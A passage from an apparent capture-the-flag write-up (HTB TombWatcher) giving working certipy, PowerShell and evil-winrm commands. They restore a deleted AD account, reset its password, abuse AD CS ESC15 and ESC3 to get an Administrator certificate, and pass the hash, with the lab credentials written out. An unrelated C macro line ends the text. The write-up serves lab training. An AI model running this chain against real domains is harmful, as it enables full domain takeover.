This is the only instance that still has Enroll permissions, so restoring any other will not grant us access to abuse the template.

Use the objectGUID of the correct one:

PowerShell
Restore-ADObject -Identity '938182c3-bf0b-410a-9aaa-45c8e1a02ebf'

Now it's back under our control—same SID, same ACL, same enrollment rights.

We can reset the password using Set-ADAccountPassword — the local abuse path on ForceChangePassword:

PowerShell
Set-ADAccountPassword -Identity 'cert_admin' -Reset -NewPassword (ConvertTo-SecureString 'StrongP@ssw0rd' -AsPlainText -Force)

Sometimes restored objects are marked as locked/disabled. So unlock it, just in case:

PowerShell
Enable-ADAccount -Identity 'cert_admin'

Verify the hack:

htb_tombwatcher_15

Bingo. While cert_admin lacks remote desktop privileges, it's fully functional for LDAP, SMB, and—critically—ADCS enrollment. The ghost is back. Now let's weaponize the cert.

ESC15

Enumeration

We re-run certipy with our resurrected user cert_admin:

Bash
certipy find \
	  -target tombwatcher.htb \
	  -u 'cert_admin' -p 'StrongP@ssw0rd' \
	  -enable -vulnerable

As a result:

JSON
{
  "Certificate Authorities": {
    "0": {
      "CA Name": "tombwatcher-CA-1",
      "DNS Name": "DC01.tombwatcher.htb",
      "Certificate Subject": "CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb",
      "Certificate Serial Number": "3428A7FC52C310B2460F8440AA8327AC",
      "Certificate Validity Start": "2024-11-16 00:47:48+00:00",
      "Certificate Validity End": "2123-11-16 00:57:48+00:00",
      "Web Enrollment": {
        "http": {
          "enabled": false
        },
        "https": {
          "enabled": false,
          "channel_binding": null
        }
      },
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Active Policy": "CertificateAuthority_MicrosoftDefault.Policy",
      "Permissions": {
        "Owner": "TOMBWATCHER.HTB\\Administrators",
        "Access Rights": {
          "1": [
            "TOMBWATCHER.HTB\\Administrators",
            "TOMBWATCHER.HTB\\Domain Admins",
            "TOMBWATCHER.HTB\\Enterprise Admins"
          ],
          "2": [
            "TOMBWATCHER.HTB\\Administrators",
            "TOMBWATCHER.HTB\\Domain Admins",
            "TOMBWATCHER.HTB\\Enterprise Admins"
          ],
          "512": [
            "TOMBWATCHER.HTB\\Authenticated Users"
          ]
        }
      }
    }
  },
  "Certificate Templates": {
    "0": {
      "Template Name": "WebServer",
      "Display Name": "Web Server",
      "Certificate Authorities": [
        "tombwatcher-CA-1"
      ],
      "Enabled": true,
      "Client Authentication": false,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": true,
      "Certificate Name Flag": [
        1
      ],
      "Extended Key Usage": [
        "Server Authentication"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Schema Version": 1,
      "Validity Period": "2 years",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Template Created": "2024-11-16 00:57:49+00:00",
      "Template Last Modified": "2024-11-16 17:07:26+00:00",
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "TOMBWATCHER.HTB\\Domain Admins",
            "TOMBWATCHER.HTB\\Enterprise Admins",
            "TOMBWATCHER.HTB\\cert_admin"
          ]
        },
        "Object Control Permissions": {
          "Owner": "TOMBWATCHER.HTB\\Enterprise Admins",
          "Full Control Principals": [
            "TOMBWATCHER.HTB\\Domain Admins",
            "TOMBWATCHER.HTB\\Enterprise Admins"
          ],
          "Write Owner Principals": [
            "TOMBWATCHER.HTB\\Domain Admins",
            "TOMBWATCHER.HTB\\Enterprise Admins"
          ],
          "Write Dacl Principals": [
            "TOMBWATCHER.HTB\\Domain Admins",
            "TOMBWATCHER.HTB\\Enterprise Admins"
          ],
          "Write Property Enroll": [
            "TOMBWATCHER.HTB\\Domain Admins",
            "TOMBWATCHER.HTB\\Enterprise Admins",
            "TOMBWATCHER.HTB\\cert_admin"
          ]
        }
      },
      "[+] User Enrollable Principals": [
        "TOMBWATCHER.HTB\\cert_admin"
      ],
      "[!] Vulnerabilities": {
        "ESC15": "Enrollee supplies subject and schema version is 1."
      },
      "[*] Remarks": {
        "ESC15": "Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details."
      }
    }
  }
}

This confirms that the WebServer certificate template is vulnerable to ESC15, and cert_admin is explicitly allowed to enroll certificates via this template:

  • Enrollee Supplies Subject: true: we can define the SAN/subject in the certificate request (abusable via impersonation).
  • Schema Version = 1: makes ESC15 viable (modern templates often mitigate this).
  • Client Authentication: false: not restricted to TLS.
  • "Extended Key Usage": ["Server Authentication"]: not a blocker for impersonation.

This is a fully exploitable ESC15 scenario. We now have a user (cert_admin) with enrollment rights on a vulnerable certificate template. Time to craft a cert request impersonating a privileged identity, forge a TGT, and breach the domain.

Overview

Everything about ESC15 can be referred to the Certipy Wiki documentation.

ESC15, known as "EKUwu", abuses a flaw in unpatched Certificate Authorities when processing certificate requests based on Schema V1 templates. These CAs fail to validate attacker-supplied Application Policies in CSRs, allowing unintended usages like:

  • Client Authentication (for domain logon / PKINIT)
  • Certificate Request Agent (for requesting certs on behalf of other users — ESC3-like abuse)

To exploit ESC15:

  • The CA is unpatched (CVE-2024-49019 not mitigated — patches released Nov 2024)
  • Target template:
    • Schema Version: 1
    • Enrollee supplies subject: enabled (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
  • Attacker has enrollment rights
  • CA processes Application Policies without validating against allowed EKUs

Attacker can:

  • Request a certificate from a non-authentication template (e.g., WebServer with ServerAuth only)
  • Inject unauthorized EKUs (e.g., ClientAuth, EnrollmentAgent)
  • Obtain certificates usable for domain authentication, Schannel auth, or enrollment impersonation

Exploit

There are 2 ways to exploit ESC15:

Scenario A

This is not preferred in our case.

Step 1, Client Authentication Injection (Impersonation) — use Client Authentication policy + spoof UPN of Administrator:

Bash
certipy req \
	  -target tombwatcher.htb \
	  -u 'cert_admin' -p 'StrongP@ssw0rd' \
	  -ca tombwatcher-CA-1 \
	  -template WebServer \
	  -application-policies "Client Authentication" \
	  -upn [email protected]

Since the CA is unpatched, the resulting administrator.pfx will contain a certificate with the Client Authentication Application Policy under a faked UPN for Administrator. We can verify the cert via certutil on Windows:

Bash
certutil -v -dump administrator.pfx
htb_tombwatcher_16

Step 2, Authenticate via Schannel (LDAPS) using the obtained certificate:

Bash
certipy auth \
	  -dc-ip $target_ip \
	  -pfx administrator.pfx \
	  -ldap-shell

However, this certificate is used directly to connect via Schannel, often triggering OpenSSL issues (like CA_MD_TOO_WEAK) :

[-] Failed to connect to LDAP server: ("('socket ssl wrapping error: [SSL: CA_MD_TOO_WEAK] ca md too weak (_ssl.c:4086)',)",)

Unless we downgrade our OpenSSL version (OpenSSL 3+ being strict with weak hash algorithms used by the CA) — which I am quite not interested in.

There's another better way to exploit, without relying on LDAPS or bypassing SSL issues.

Scenario B

We can also abuse a malicious certificate with the Certificate Request Agent OID to enroll on behalf of another user (e.g., Administrator), retrieve a valid certificate, and use it to perform Kerberos authentication.

We exploit a vulnerable V1 certificate template (like WebServer) to first get a Certificate Request Agent cert via Application Policy injection (ESC15):

Bash
certipy req \
	  -target tombwatcher.htb \
	  -u 'cert_admin' -p 'StrongP@ssw0rd' \
  	-ca tombwatcher-CA-1 \
	  -template WebServer \
	  -application-policies "Certificate Request Agent"

The objective is to obtain a certificate with the OID 1.3.6.1.4.1.311.20.2.1 (Certificate Request Agent) to act as a CA proxy:

htb_tombwatcher_18

The cert_admin.pfx now contains a certificate which includes the Certificate Request Agent Application Policy, allowing it to act as an enrollment agent certificate.

We can run certutil to verify:

PowerShell
certutil -v -dump cert_admin.pfx
htb_tombwatcher_19

This Certificate Request Agent is intended for legit use cases like: A help desk operator requesting a smartcard certificate for a new employee. But if hackers obtain such certificate, we can impersonate any domain user — including Domain Admins — if the CA does not enforce additional constraints.

Now the exploited admin_cert can be used to perform such on-behalf-of enrollment (ESC3) attack:

Bash
certipy req \
	  -target tombwatcher.htb \
	  -dc-ip $target_ip \
  	-u 'cert_admin' -p 'StrongP@ssw0rd' \
  	-ca tombwatcher-CA-1 \
	  -template User \
	  -pfx 'cert_admin.pfx' \
	  -on-behalf-of 'tombwatcher\Administrator'

Here we target the previously uncovered User template, because:

  • Client Authentication EKU: allows authentication via PKINIT/Schannel.
  • Schema Version 1: vulnerable to agent-based certificate request abuse.
  • Enrollee Supplies Subject = false: doesn't block -on-behalf-of.
  • Domain Users have enrollment rights: we can request it using an agent cert.

When ESC3 is successfully exploited, it grants us a certificate impersonating the Administrator account:

htb_tombwatcher_20

Finally, authenticate with the genreated administrator.pfx via Kerberos PKINIT to extract TGT/hash:

Bash
./ft.sh tombwatcher.htb \
certipy auth \
	  -dc-ip $target_ip \
	  -pfx 'administrator.pfx' 
htb_tombwatcher_21

Shell with Pass-the-hash:

Bash
evil-winrm -i tombwatcher.htb -u 'administrator' -p 'f61db423bebe3328d33af26741afe5fc'

Rooted:

htb_tombwatcher_22


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)